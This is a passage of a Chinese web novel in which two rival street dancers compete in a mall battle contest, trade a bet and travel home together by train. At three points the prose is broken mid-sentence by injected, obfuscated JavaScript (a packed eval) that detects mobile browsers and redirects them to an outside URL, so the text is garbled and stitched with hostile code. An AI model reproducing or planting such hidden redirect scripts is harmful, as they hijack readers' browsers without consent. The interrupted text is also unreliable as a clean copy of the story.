整场比赛的海选部分结束，晋级的选手纷纷趁着休息时间去检录处选取复赛对战的选手。 顾以默懒得去挤，反正根据比赛规则，海选分数前四名的选手是在对阵表的四个边角处，或者可以随便选，他也不急于这一时。 更何况......顾以默转头看向在一旁发呆的木南苏，心里的疑惑再次升起，促使着他去寻找答案。 他用肩膀轻轻撞了一下木南苏，等木南苏回神看向他开口问：“之前你在商场里的比赛，我不在你身边，你到底是怎么参加的？而且为什么我之前比赛从来没见过你？在世界赛为什么那么巧遇到你了？” “你什么时候变得问题那么多？能不能尊重一下你这张看上去话少的脸。”木南苏吐槽完将头扭回去，低垂眼帘紧攥衣角怕顾以默追问，连忙开口转移话题，“你说让我替你灭一下徒弟的威风，什么时候？” 木南苏脸上的“不想回答”让顾以默更加困惑，但没有继续再问，顺着木南苏的话题说道：“刚才他在台上卡顿已经够他长记性了，半决赛前一场让他下就行。” 木南苏挑眉，转头看向他，伸出手指了指自己斜后方，语气委婉地斟酌用词：“你......确定他真的长记性了？” 顾以默从柱子后面探出头，没发现什么不对....... “这边。”木南苏无语地提醒他看自己手指的方向， 顾以默闻声转过头，起身朝着木南苏手指的犄角旮旯看去。 他们靠着的柱子后方还有一根柱子，由于两根柱子相距不远，顾以默清楚地看见沈一川靠在那根柱子和墙的空隙中打游戏，完全没有受到影响。 顾以默眯眼，抬手看表转头看向检录处，现在人已经不多了，便拍拍木南苏一起去抽签。 顾以默和木南苏一走近，立刻就有不少人凑过来看热闹，大部分都是在祈祷让他们别选自己。 将popping组的对阵表递给木南苏让他先选，顾以默拿出hiphop组的表单大致浏览一番，觉得没什么好选的人，便和工作人员提出抽签，按照号码在对应的位置上随意签了名字。 “嘶——心疼DK！” “没什么好心疼的，祸从口出哈哈哈哈哈！” “老早就听说过顾以默记仇，还觉得这都是谬论，结果真是百闻不如一见。” “DK人呢？我要去把这个好消息告诉他哈哈哈哈哈哈！” 顾以默没听懂后面的起哄声，只当他们在替DK可惜。 伸手接过木南苏递来的对阵表看着，顾以默发现他挑的这个选手实力属于中等偏上，意外地偏头看去，“为什么要选他？对你而言，选别人的话可以直接躺赢。” “实力相当才有意思。”木南苏随意说着。 顾以默浅笑，在心里对他有些刮目相看，拿起笔也选择了在剩下的名字当中实力算是最强的选手。 把笔放下，顾以默注意到似乎上面沈一川的名字，拿出手机通知他过来选人，并表示自己数到十，如果不来就替他选了。 果然话音一落，他余光瞥见一个急匆匆的身影从柱子后面飞奔过来。 趁着这间隙，顾以默大致扫了一眼剩下的人选。 这下他也不用担心沈一川会仗势欺人，因为剩下的都是大家不愿意对战的选手。 沈一川跑到检录处，看着剩下的人选满脸哀怨地“啊”了一声，但碍于身边站着顾以默，他只能硬着头皮选个实力差不多的。 顾以默满意地点头，走回到位置枕着包闭目养神。 半小时后，hiphop组复赛1V1battle的舞台上，顾以默挑眉看向对面的选手，终于知道为什么刚才起哄的声音那么大。 对面就是海选说他菜的那位。 顾以默抱臂挑眉，示意让对面的人先开场。 “DJDropthebeat!” MC的声音落下，顾以默静静地看着对方不断挑衅自己，内心毫无波澜。 如果非要说有，只觉得这人的舞步实在是....... 一个字，渣。 battle环节裁判看得就是新意，反反复复就几个动作，似乎生怕裁判不知道他基本功都不扎实。 顾以默本不想去针对任何人做任何评价，但对手的手部动作从开始就一直热衷于在激怒他的边缘试探，他不接招都怕辜负这人的好意。 MC带着拖长音的倒数在耳边传来，顾以默随意蹦着找律动，轮到他的时候正好是这首beat的空拍。 他趁机动作丝滑地往前带动脚步，来到对手面前嚣张地转了一圈，表情满满透露着轻蔑看对手一眼，等节奏恢复正常便回到自己的范围之内表演。 全程顾以默都靠着腰的扭动和腿脚的灵活完成整个表演，手大部分时间都背在身后，直到最后用单腿轻颠着身体转圈手才伸出来晃了一下。 “卧槽！” “我的天！” “顾以默牛啊！” 表演一分钟，顾以默让全场沸腾了一分钟，惊叹更是没断过。 只有木南苏一个人在他身后紧紧皱着眉头，从顾以默手背在后面开始一直到顾以默表演结束...... 接下来的一个回合，对手没再敢在顾以默面前狂，规规矩矩地完成自己的表演，顾以默也恢复正常的手脚共用，动作大体上没有重复过。 毫无悬念，顾以默碾压式晋级hiphop组八分之一决赛。 他走出舞台区域就被主办方的工作人员叫到安静的地方，这才想起要拍照的事情，带着歉意和工作人员说：“不好意思，我去换个衣服可以吗？” “没问题，麻烦你可以顺便叫一下木南苏吗？”工作人员礼貌地问道，“因为我刚才想和他商量一下拍照的事情，但是他一直在说等你一起，” 顾以默转头看向似乎在寻找什么的木南苏，应声好就朝着他的方向走去。 来到他身后，顾以默突然有一股想逗他的冲动，刻意低下头对木南苏说：“弟弟，你是在找我吗？” 木南苏被这突然传入耳朵的声音吓一跳，猛然回头看见顾以默满脸憋笑，恼羞成怒骂了声滚，随后想起刚才的场景没好气地问道：“你的腰怎么样？” 虽然木南苏的反应在他的意料之中，顾以默还是没忍住偏头笑了出来，一手接住木南苏礽向他的包，毫无歉意地开口道歉：“错了错了，我没想到四年时间你这胆量一点没变，耳朵都气红了。” 忍了忍笑意，顾以默继续逗他说：“没事，我的腰好着呢，你要不要检查一下？” “检查个头！”木南苏再次朝他骂道，觉得自己脑子进水，居然关心这嘴欠的人，瞪他一眼转身就走。 下一刻自己的手腕被一只手不轻不重地握住，木南苏微微一怔回头看去，臭着脸问道：“干什么？” 顾以默慢慢松开手，笑着指了指二楼的卫生间对他说：“开个玩笑而已，别真的生气。就是和你说一声，一会准备拍照，我准备去换个衣服。” 木南苏“哦”了一声，示意知道了。 五分钟后的男厕所—— 顾以默穿着宝蓝色短袖从隔间走出来，对着在门口看着自己手腕发呆的木南苏调侃道：“走吧弟弟，跟紧了。” “顾以默！”木南苏咬牙切齿喊道。 “啧，没礼貌，喊哥哥。” 赛场旁边就是主办方的拍照区域，这次比赛主办方是一款运动饮料，顾以默和木南苏两个人各自配合拍了几张照片，又被拉着拍几张合照才被放走。 比赛进程很快，他们拍完照片popping组的第一轮复赛已经结束，第二轮要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848831|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 参赛的木南苏匆匆忙忙上场，顾以默拿过旁边的水喝了一口，悠闲地走向前排看着表演。 他第一次在现场以观众视角看木南苏battle，还真有除了木南苏动作方面进步的其他感觉。 顾以默第一次觉得，木南苏狂起来也没有那么违和，反倒....... 像只猫。 沈一川在旁边候场，跟着人群大喊“木南苏牛逼”之后看向顾以默，见他此刻正朝着某个方向勾着唇。 沈一川秒懂，并沉浸在师父要脱单这个幻想中跟着一起勾唇。 “恭喜木南苏晋级popping组八分之一决赛！”MC的声音和观众的欢呼声再次响彻商场，“下一组选手，沈一川对战廖凡，请二位选手登台。” 顾以默伸手拍了拍沈一川的肩，让他好好加油。 沈一川坚定地对顾以默点头，走上台摆动着身体准备就绪。 “廖凡，廖凡在吗？有谁认识廖凡的和他联系一下。”沈一川已经上场等了很久，MC这句话已经喊了几遍，却丝毫不见廖凡的身影。 一分钟后，沈一川没流一滴汗直接晋级。 顾以默见状直皱眉，特别是看见他那副嘚瑟样子，强忍住想一脚踹他的冲动告诉自己不能动手。 这种情况在比赛上已经不足为奇，导致这种状况的原因更是稀奇古怪，比如什么吃饭，家里有事，不想比了等等，反正就没有选手们想不到的理由。 顾以默之前没少这么干过...... 想到自己的黑历史，顾以默握拳放在嘴边咳了一声。 他缓缓看向一旁的木南苏，只能将希望寄托于他身上。 木南苏察觉到身边的目光，头也不转地应了句清楚，便随手拿起一瓶主办方的饮料拧开仰头喝了一口。 有木南苏这句话，顾以默就放心了，挤过人群上场比赛。 “恭喜顾以默进入popping组八分之一决赛！” 顾以默比完赛第一件事就是来到检录处看成绩表，确定沈一川可以和木南苏分到一组后松了口气。 接下来的比赛之中，顾以默即便是很累，但在发挥上依旧保持着自己的水准，他的名字更是一次又一次响彻整个商场。 “顾以默成功晋级hiphop组四分之一决赛！” “恭喜顾以默晋级popping组四分之一决赛！” “恭喜顾以默晋级hiphop组半决赛！” 比赛接近尾声，顾以默下场后长叹了口气，他走出比赛区域，看着剩下寥寥无几的选手以各种姿势在地上坐着躺着趴着，摇头笑了笑。 好笑又无奈。 顾以默走到柱子旁边坐下，将头埋在胸口，闭眼缓神。 他突然想到了师父......要是师父在就好了...... “怎么了？腰疼？”木南苏买了瓶水放到顾以默旁边，开口问道。 顾以默闻声连忙伸手擦眼泪，没有抬头闷声说道：“不是，我把腰用束腰带绷住了，不耽误比赛。” 察觉到顾以默语气中的不对，木南苏眉头微皱但没有揭穿，装作什么都不知道地别开眼神，给顾以默一个缓解情绪的空间。 “顾以默，要不要打赌？”片刻后，木南苏见他的情绪还是不太好，突发奇想转移他的注意力。 果然顾以默缓缓抬起头，挑眉问道：“赌什么？” “一会的比赛，如果我同时赢了你们师徒两个人，那你明天就跟我一起回家。”木南苏对他说，“如果我赢了你们之中的一个，那你就请我吃饭，地方我跳。” 顾以默一听，觉得有意思，坐直身体抱臂问道：“那如果我赢了呢？” 木南苏没想过这个问题，他闻言一怔，歪头认真思考着，最终得出四个字。 “任凭差遣。” 11. 决赛 顾以默被这四个字逗笑，点头应下这场赌约。 “接下来上场的两个选手厉害了！”MC激情地介绍道，“他们分别是刚刚结束的世界赛popping项目少年组和成年组的冠军，沈一川和木南苏！” 全场的欢呼声瞬间如雷贯耳，顾以默借着木南苏从自己身边路过，抬手和他随意击了掌，给他加油，“输给我徒弟不丢人，不许哭啊。” 木南苏刚才还有些感动的心情瞬间不见，翻着白眼冷哼一声前往比赛区域。 顾以默被他这反应逗笑，勾着唇闲庭散步似的来到前排观看比赛。 开场前，木南苏和沈一川友好地击掌撞肩，并伸出手拍了沈一川的背给他打气，随后和沈一川保持距离微抬下巴示意让他先开始。 这个神态和师父好像！ 沈一川内心震惊，看向在观众区域的顾以默。 见他正皱眉瞪着自己立马心虚地撇过头，企图掩饰刚才跑神的事实。 还是前师爹更温柔......沈一川在心里默默说着实话。 音乐前奏的打碟声再次像开战前的号角般响起，顾以默站累了直接就地一坐，抬头看向舞台，心里想着交给木南苏果然是个不错的选择。 对于沈一川这种觉得自己是天之骄子的人，没有什么比在他高处云端的时候当头一棒更能让他长记性。 而木南苏的battle风格就是如此，先让对手觉得他的实力很弱，在对手以为自己躺赢的时候毫无预兆地爆发，大部分和他对战的选手都会被这个情况打得措手不及。 顾以默想起自己在世界赛上吃过这个亏，死咬着后槽牙心里恨得不行。 如果木南苏晋级，他一定要扳回一局！ “恭喜木南苏成功晋级半决赛！”MC激动的声音让顾以默回了神，视线清晰的那一刻刚好看到木南苏一副势在必得的模样看着他。 顾以默见状半抬起头朝他挑眉冷笑，用口型对他说出“等着”两个字，便转身去找沈一川。 趁着裁判表演和breaking比赛的时间，顾以默把沈一川带到安静处，半哄半批地训一顿。 即便是他此刻红着眼眶低着头，样子可怜确实让人看了心疼，顾以默依然还是摆着脸训他。 “哭了？”木南苏走到顾以默身边轻声缓和气氛，“其实沈一川刚才表现很好，如果不是他太傲，我都不一定能赢他。”说完将手里的奶茶给他，让他安慰一下沈一川。 顾以默没有接，对沈一川说：“你自己好好想想，如果你还是之前那样，你就去另寻高就吧。”说完转身朝着舞台区域走去，准备上场比赛。 木南苏见状抿嘴不敢再说话，等顾以默上台后才把沈一川拉到旁边和他聊聊。 顾以默进到popping组半决赛，下台之后并没有去找木南苏他们，而是自己走到门口吹吹风冷静一下，心情缓和些回到比赛现场。 最后的半决赛和总决赛是连着进行的，顾以默刚好赶上breaking组的冠军揭晓时刻，走近他就听到MC的欢呼声。 “恭喜付宵凡成为本赛区breaking的冠军！恭喜！” 他顺势看去，付宵凡此刻正高举着印有主办方产品的冠军牌子嘚瑟，顾以默见状立马被逗笑，跟着人群一同高声起哄。 随后付宵凡抱着牌子跑到顾以默面前，拍了拍他的肩膀给他打气，“加油，拿下双冠军请客吃饭！” 顾以默笑着点头应好，在MC的催促下走向舞台区域参加hiphop组的比赛，他抬眼一看，他认识站在自己对面的人，是世界赛hiphop组今年最大的黑马——块块 没木南苏黑，他只是今年的季军。 “你觉得块块和顾以默谁会赢？” “顾以默吧，他在复赛的表现我现在还没缓过来，太强了.......” 听着身后的议论声，顾以默勾唇暗自得意，跟着音乐点头来回走动找节奏，手上随意晃着找灵感。 在听到倒计时数到“一”后将胳膊弯曲着张开带给身体一个震动，他顺势带动腰部和脚上的动作开始表演。 两个回合后，顾以默晋级总决赛。 他走到一边蹲在地上等待，满头的汗直往下流，想擦汗却没有毛巾，只能抬手用短袖的袖子随意擦拭着。 刚准备用另一只手继续擦另一边的汗，他面前却缓缓出现一条毛巾。 顾以默顺势看去，沈一川低着头双手拿着毛巾，等他接过。 “干什么？要跟我表白？”顾以默看着他这副样子打趣道，拿过毛巾继续说，“行了先去看比赛吧，等比完赛回去再说。” 沈一川点头，顾以默从来不会当着众人的面训他，即便是实在忍不住，也会临时找一个人少的地方说他几句。 等沈一川走后，顾以默将毛巾搭在肩膀上，继续在脑子里临场编舞。 hiphop组的总决赛比完后，裁判握住顾以默的右手手腕，另一只手抓着另一个选手的左手手腕，低头沉思着。 顾以默深呼吸，他并没有在想自己是不是冠军，而是在思考刚才的失误如何去改正。 反正结果已经摆在这里，他又何必去想。 刚这么想完，他的手突然被高高举起，全场没有质疑声的欢呼更能说明这个结果是众望所归。 “恭喜顾以默夺得本赛区hiphop组的总冠军！”MC此刻的声音比任何时候都要激动，带动着欢呼声更加激烈。 顾以默浅浅笑着对工作人员鞠躬答谢接过牌子，即便是这个场景在他身上重复很多次，但顾以默每次依然还是会被触动到。 他看向在一旁用手机拍照的木南苏，面朝镜头歪头一笑。 “让我看看你刚才拍的照片。”走出比赛区域，顾以默左手拿着牌子对木南苏说道。 木南苏无语地看着旁边自恋的人对他说：“我发给你了。”说完就把手机放进包里，把包交给付宵凡做保管，准备上场。 “这么小气。”顾以默吐槽道。 拿出手机发现木南苏真的把照片发给他了......讪讪地摸了鼻子挑选几张帅的，转发到了“相亲相爱的一家人”这个全是催婚视频的微信群里，立刻得到了回应。 【我儿子什么时候找对象】：已阅，下次再发除了找对象以外的话题，管理员把这个群员踢出去。 【平淡如茶】：（OK）收到。 ........ 说好的相亲相爱一家人？这是相亲相爱的两口子吧...... 顾以默无奈地笑着将屏幕关闭，将手机和牌子也交给付宵凡保管。 “收费，一分钟一块！”付宵凡立马发现商机就地做起生意，“手机两块。” 闻言顾以默刚伸出去的手灵活地转了个圈，满脸炫耀地将手机递给在一旁喝奶茶的沈一川，让他保管。 付宵凡见状被气得牙痒，站起身踮着脚对他大喊：“有徒弟了不起是吧！抠死你算了！” “嗯。”顾以默看着面前踮脚都比他矮的付宵凡，忍着笑点头，“确实了不起。” 说完他迈着嘚瑟的步伐向舞台走去。 付宵凡闻言直接对着顾以默的背影破口大骂。 两场半决赛结束，MC大声宣布比赛结果。 “恭喜木南苏晋级总决赛！” “恭喜顾以默晋级总决赛！” 紧接着的总决赛现场，顾以默挑眉看着站在他对面的木南苏，向前走了几步握住木南苏的手碰肩，转头走回自己的范围内听着节奏。 MC激动地让DJ放音乐，顾以默踩着鼓点震动着，身体机械般的向前走了几步来到台中间面对着木南苏轻松地做了个身体和手臂共同的wave ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848832|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，再跟着鼓点做了全身pop共震，单腿抬起左右晃着，一副惬意的模样。 结尾的时候顾以默看见木南苏笑，自己也没绷住，连忙低下头笑着在起哄声中撤回自己的区域。 “他在闹他在笑，还有什么比这更好嗑的吗！！！！” “妈妈我想看他们恋爱！！！！” “咦呀！师父你干脆和前师爹在一起得了！” “这门婚事我同意了！！！” 木南苏闻言立马震惊地看向顾以默，见他朝自己摇头，明白这是别让自己受影响的意思，缓缓低下头抿着嘴跟着节奏找律动，随后找到合适的时机进入状态。 顾以默抱臂看着对面直接爆发的木南苏愣了愣神，是他的错觉吗？怎么感觉木南苏一股怨气？ 自己好像也没得罪他吧......顾以默深陷自我怀疑，困惑地开始下一回合的battle。 因为分数相近，裁判无法判断出胜负，所以他们又跳了一个回合。 三个回合后，顾以默喘着气走到舞台中间，手腕再次被裁判握住，他能感受到此刻心脏的跳动频率加快，绝不止是只有刚运动完的原因。 倒像是好久都没有过的紧张感和胜负欲...... 顾以默在心里坚定着夺冠军的信念，另一只手紧握成拳。转头看向紧紧抿着嘴的木南苏，看得出来他此刻也在等着结果。 伴随着灯光的闪动，全场都在跟着MC倒计时，顾以默深呼吸微闭上眼睛，在心里跟着一起倒数。 三—— 二—— 一—— “恭喜顾以默成为本赛区popping组冠军！” 顾以默被举起手的同时猛地睁开眼睛，以为是错觉还抬头看了看，反应过来立马欣喜若狂，再次礼貌地接过牌子道谢。 他看向木南苏，虽然也是笑着，但他发现木南苏的眼神不太对，好像......有点难过？ 趁着主办方拍大合照，顾以默两手拿着牌子走到木南苏旁边小声问道：“怎么了？你不会这么输不起吧？” 木南苏拿着亚军的牌子摇头，没有说话。 顾以默刚想继续说，却被摄影师提醒让他看前面，他只好将问题憋在心里等下再问。 主办方给前八名的选手都发了牌子，所以沈一川也不算一无所获，好歹落了个全国八强选手，兴高采烈地拉着付宵凡上了门口的大巴车。 比赛结束，一直在忙的卢择终于有机会喘口气，来到正收拾东西的顾以默身边，用胳膊肘碰了碰他问道：“什么情况？你和木南苏刚才不是还好好的？” “我也不知道怎么回事......”顾以默一头雾水，将东西都交给卢择继续说，“要不你帮我拿一下，我去问问他。”说完就跑去木南苏身边。 卢择见他这副样子，八卦之心再次燃起，对着顾以默的东西说道：“还说不是前男友，我可没见你对谁这么上心过！” 木南苏此刻背着包正在看着回家的高铁票，突然觉得肩膀被人拍了一下，下意识朝着那个方向看去，发现没人才想起这是顾以默的把戏，闷闷地开口吐槽：“无聊，顾以默你多大了？” “不多，我才四岁。”顾以默笑着对他说，“你不会真的因为得亚军才不高兴吧？小时候你输给我就哭，现在输给我就是生闷气？” 木南苏无语地停下脚步，把手机收起来对顾以默说：“我没有生气，我刚才在买高铁票。” “那正好，一起吧。”顾以默没头没尾地说出这句话。 木南苏没明白，疑惑地“啊”了一声，随后才反应过来满脸不可置信地看着顾以默，“你要跟我一起回家吗？” “不。”顾以默摇头。玩心大起向前走了几步，低头刻意凑近木南苏，沉着声音对他勾唇笑道，“打赌是你输了，所以.......是你陪我回家。” 12. 回家之路 一上车顾以默就察觉到车里一股浓郁的八卦气息，不用想都能猜到卢择肯定又到处散布什么离谱的谣言。 但就是没想到居然离谱到说他和木南苏刚才在接吻？！ “卢择，你眼睛不需要就去把它捐了吧！”顾以默发自内心地提出建议，“用不用我给你联系一下医院？” 卢择没说话，在他后面坐的木南苏倒是开口解释：“我们刚才只是在说回家的事。” 此话一出瞬间炸锅，话题更是从接吻转移到了见家长....... 他们都见了十几年家长了好吧！ 顾以默再次放弃解释，决定和木南苏发信息。 【顾以默】：他们平时就是这样，你别介意。 依旧在纠结买什么票的木南苏看到了消息提醒，点开发现是顾以默发的，朝他坐的方向看了一眼，打字回复。 【木南苏】：没事，我不介意。那我买什么票，飞机还是高铁？ 等了半天没有回复，木南苏奇怪地抬头看去。 因为视野受限，他只能看见顾以默歪头靠着窗户，看样子应该是睡着了。 木南苏轻皱起眉头，拿着手机的手不自觉紧了紧，默默收回目光将消息撤回。 他......应该挺累的吧...... 木南苏这么想着，不再纠结。 顾以默皱着眉头闭目养神。他今天同时参加两个项目的比赛，都是从头跳到尾，身体和精神紧绷了一下午，上车后猛一下彻底放松，倦意立马就占据整个大脑。 他十分清楚，一会回宿舍还要收拾回家的东西，只能强撑着精神不让自己睡过去。 反正也不差这一时....... 感受到车缓缓停下，顾以默迷迷糊糊睁开眼，转过头刚好撞上来拿包的木南苏，有些疑惑的看着他。 “我看你睡着了，就想着先把你的东西替你拿走。”木南苏说着，手上的动作没有停，背着自己的包手里拿着牌子，另一只手准备去拿顾以默的包手却被他按住，身体怔住连忙将眼神撇开不敢看他。 顾以默没有察觉到木南苏的不对，手也只是和他触碰了一下就移开去握住肩带，懒懒地开口说：“没事，你光拿你的东西就行，东西多你拿不住。” 话音刚落，木南苏就以快步走的速度下了车，顾以默猜测他是着急回宿舍，便也背着包拿起牌子，和司机大叔道了声谢，跟上木南苏的脚步来到他身边并肩走着。 “对了，你买票了吗？”顾以默走到宿舍门口才想起这件事，转头看向旁边准备开门的木南苏问道。 木南苏“嗯”了一声，开门之后直接低着头进屋，动作飞速地关上门，甚至因为动作太快，门发出了一阵巨大的闷响。 顾以默在自己宿舍门前看完整个过程满脸疑惑，不知道是不是自己的错觉，他总感觉自从和木南苏重逢后，木南苏一直都是奇奇怪怪的。 变了个人似的，却又说不上来哪里发生变化....... 顾以默想不通地摇摇头，只当是木南苏上了大学之后，他的生活习惯和为人处世的方式发生了改变，不再多想将门打开，进到宿舍收拾东西。 他将东西收拾好准备去冲澡，手机的消息提示音响起，他伸手拿过点开一看，原本舒展着的神情渐渐眉头紧皱，准备去卫生间的脚步改道来到木南苏的宿舍前敲门。 没敲几下门就被打开，湿着头发穿着睡衣的木南苏见到顾以默，疑惑地开口问道：“有事？” “你确定要在这里说？”顾以默挑眉确认道，见他不给反应便点头继续说，“行，那就在这说，到时候全舞社的人都知道你恐高......” 话还没说完，顾以默就被木南苏拽进屋，他勾唇看着斜眼瞪自己的木南苏，不以为然走到餐桌前顺势一靠，抱臂直奔主题勾唇问道：“你不是恐高吗？为什么还买机票？” 木南苏没有回答问题，踢了踢顾以默挡路的脚面无表情地路过，从柜子里拿出吹风机吹着头发。 “我的问题有那么难回答吗？”顾以默知道木南苏在故意无视他，倒也不恼。 他走到卫生间门口，靠着墙拿出手机提高音量开口，“要是不理我我就买高铁票了，你小时候晕机的经历你是忘了吗？” 木南苏闻言赶紧把吹风机关掉去夺顾以默的手机，抢过来看到屏幕上“支付成功”的提示才发现自己晚了一步，皱眉看着顾以默不理解地说：“没忘，但飞机比高铁快......” 顾以默被他这回答逗笑，往前走了几步从他手里拿过手机笑道：“我知道，我又不傻。但是你下飞机奄奄一息地回家，我可真没法和干爹干妈交代。” 木南苏说不过他，只能不情愿地点头。 他有些不理解面前的人为什么看上去答应地那么勉强，但看在木南苏点头的份上顾以默也没再追问。 反正自己的目的也达到了，顾以默和他说了晚安就开门回到自己房间。 木南苏听到关门的声音转头看去，嘴角情不自禁地上扬。将头发吹干后拿起手机将刚买的飞机票退掉。 顾以默洗完澡坐在床上和沈一川连麦打游戏，看见木南苏发的退票截图轻勾唇角，听到沈一川在那边喊他连忙回神。 “我去！师父你今天是不是心情不错？难得见你打游戏数据那么好。”联合队友一起将对方团灭，沈一川的惊呼伴随着游戏背景音从顾以默的手机里传出。 顾以默手上动作没停，趁机推塔，话语带着笑意说：“还行，除了你今天的表现让我不满意之外，别的事情我还挺高兴的。” 手机那边安静了片刻，顾以默能想到此刻沈一川那副受挫的样子，但本着该说还得说的原则对他念叨：“你别以为我回家这几天你就轻松了，我和你师叔说过，我不在的时候你跟着卞澈一起加训，老实点听见没？卞澈你帮忙监督他啊。” “好嘞师叔！没问题！”卞澈爽快地答应下来。 跟他们打完这一局游戏，顾以默伸手摸了一下头发，感觉已经干得差不多，便叮嘱他们早点休息后将游戏下线，关灯睡觉。 睡梦中，顾以默穿着校服和人打架，正当他要给对方一勾拳的时候，却被对方打中一拳，随后顾以默就感觉好像有一只手紧紧捏着他的鼻子让他无法呼吸，只能张大嘴喘气。 他下意识伸手去摸，发现鼻子上真的有手一样的东西，心中一颤，眼前瞬间一片漆黑。 顾以默猛然惊醒，他连忙做了深呼吸，等缓过神后才发现木南苏在一旁满脸笑意地站在他床边。 “不愧是木南苏，方法管用且舍得下手。”卢择带有憋笑语气的声音从床尾出传来，“刚才我们怎么敲门你都没反应，把我们吓得直接拿钥匙进来了，却发现你怎么叫都不醒。” 顾以默紧皱眉头看向木南苏，压着火气质问：“所以你就捏我鼻子？” 木南苏从小就见识过他的起床气， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848833|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本不怕他这副凶样，没搭理这句话，拿起床头的电子表放在他面前说道，“你自己看看现在几点了。” 本来处于烦躁心情的顾以默偏头看去，黑色加重的12：00让他倒吸凉气。 他立刻想起自己买的是一点半的票，脾气瞬间没了一大半，但依旧故作镇定地对木南苏谴责：“那你也不能捏我鼻子好吧！我万一过去了，这个世界少了个街舞天才你负责吗？” “行，这位街舞天才，请问您现在能起床了吗？”木南苏哼笑催促道，“门口等你，快点。”说完就往门口走。 卢择见顾以默此刻在床上和泄了气的气球一样，在心里感慨万千，也朝着门口的方向走去。 顾以默双手捂脸，确认了他的鼻子还完好无损后，将自己埋进被子叹气，缓解了一下心跳的频率便起床洗漱。 “卢择，我能问你个事吗？”房门外的不远处，木南苏对卢择低声问道，“为什么我感觉顾以默对冠军有一种执念？特别是在popping方面。” 卢择本身以为木南苏要问什么生活上的事情，听到问题后脸上八卦的表情逐渐变得凝重，最后低头无奈地笑着对他说：“他并不是对冠军有一种执念，而是他对师父有一种思念。” 木南苏还是没听明白，本还想继续问，在看到顾以默锁门的身影后连忙将疑惑压在心底，装作什么事都没有发生地下楼等他。 “那我们走了，沈一川就交给你了。”顾以默拉着行李箱走到卢择面前，对他嘱咐道，“记得让他把每天的视频发给我，少一个三十个俯卧撑。” 卢择心疼沈一川半秒，并贴心地提醒他现在已经十二点半了。 闻言顾以默赶紧提着行李箱跑下楼，看到木南苏在等他还有些意外，“我还以为你会先走。” “因为我不认路。”木南苏对他说了大实话，放慢脚步等他一起走。 两个人走到门口打车前往高铁站，却在高铁站附近的路上堵车，无奈他们只好下车。 顾以默带木南苏拉着行李箱轻车熟路地狂奔，回头发现木南苏拿的东西有点多，便站在原地等他跑过来，趁着他喘气的时机把他身上的东西全都揽在自己身上，只让木南苏拉行李箱。 木南苏喘着气看顾以默往前跑的样子，实在没绷住笑出来。 实在是...... 太傻了！ 他们一路狂奔，在顾以默的带领下到达高铁站，并心有灵犀般做好两个人分工的准备。 顾以默将手机和自己的身份证交给木南苏，告知他手机密码后让他去取票，自己拿着全部行李等着过安检。 木南苏取完票不敢懈怠地跑回安检口，交给安检人员检查，顾以默将行李放进传输带。 等一切完成就绪，顾以默将两个包一前一后背在身上，行李箱一左一右两手拉着，继续王车的方向跑去。 这一系列动作太快，木南苏插手帮忙的机会都没有，只能咬着牙跟在顾以默身后跑。 历尽坎坷终于检票上车，顾以默满头大汗面色通红，按照票上的数字找到两个人的座位，将他和木南苏的行李放到上方，坐到位置上终于松了口气。 伴随着车厢平缓地向前走，急促的呼吸也跟着缓和，顾以默听到了旁边人的闷笑声，奇怪地问道：“笑什么？” 木南苏摇头，满是笑意地看向他说：“我就是想起刚才在路上看到一只直立行走，会跑会拉行李箱的双壳乌龟。” 13. 居心叵测 顾以默刚才在回消息，没注意木南苏说的话。 等忙完想让他再说一遍的时候，却发现他已经戴上耳机，横放手机在认真看着视频。 好奇心作祟，顾以默将头悄悄探去，发现木南苏居然在看昨天比赛的回放！ 又来这招！每次都是这样，一声不吭就在别人猝不及防的时候努.......果然昨天这个动作出了问题！ 顾以默本在控诉木南苏背着他努力，内心却不自觉地跟着视频分析昨天比赛动作方面的不足，发现的失误在脑子里自动匹配解决方案，将其加入自己的训练计划。 即便是在一个嘈杂混乱且人来人往的环境下，他们依旧不受丝毫影响，仿佛此刻身处的并不是高铁车厢，而是安静地掉根针都能听见的舞蹈室之中。 顾以默正看得认真，眼前缓缓出现一只蓝牙耳机挡住了他的视线，他顺势抬眼看去，木南苏戴着左耳机眼盯屏幕皱着眉头，似乎也发现自己的不足。 他笑着伸手接过将耳机带入右耳，熟悉的音乐声瞬间将顾以默拉回昨天的现场，下意识地开口和木南苏碎碎念。 “你这次的动作方面确实力量感强了不少，但还是不够。”顾以默对木南苏手嘴并用分析着他的优缺点，偶尔会做一些简单的动作示范，“就像是做全身pop的时候，你一定要去掌握节奏，而不是让节奏掌握你。” 木南苏听得认真，在顾以默开口讲的时候将音量调小并和他讨论几句，等他们需要看视频的时候再将音量调回去。 “那你平时体能怎么锻炼？”木南苏开口问道。 